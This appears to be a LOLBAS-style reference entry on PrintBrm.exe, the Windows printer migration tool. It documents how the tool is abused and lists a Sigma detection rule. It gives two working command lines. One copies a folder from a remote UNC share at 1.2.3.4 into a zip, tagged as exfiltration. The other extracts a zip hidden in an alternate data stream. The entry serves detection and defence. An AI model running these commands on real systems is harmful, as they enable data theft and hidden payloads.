.. /PrintBrm.exe

Download (Compression) | Alternate data streams (Compression)

Printer Migration Command-Line Tool

Paths:
C:\Windows\System32\spool\tools\PrintBrm.exe

Resources:
- https://twitter.com/elliotkillick/status/1404117015447670800

Acknowledgements:
- Elliot Killick (@elliotkillick)

Detections:
- Sigma: https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml
- IOC: PrintBrm.exe should not be run on a normal workstation

Download

Create a ZIP file from a folder in a remote drive

```
PrintBrm -b -d \\1.2.3.4\share\example_folder -f C:\Users\user\Desktop\new.zip
```

Use case: Exfiltrate the contents of a remote folder on a UNC share into a zip file
Privileges required: User
Operating systems: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1105
Tags: Type: Compression

Alternate data streams

Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder

```
PrintBrm -r -f C:\Users\user\Desktop\data.txt:hidden.zip -d C:\Users\user\Desktop\new_folder
```

Use case: Decompress and extract a ZIP file stored on an alternate data stream to a new folder
Privileges required: User

Operating systems: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1564.004
Tags: Type: Compression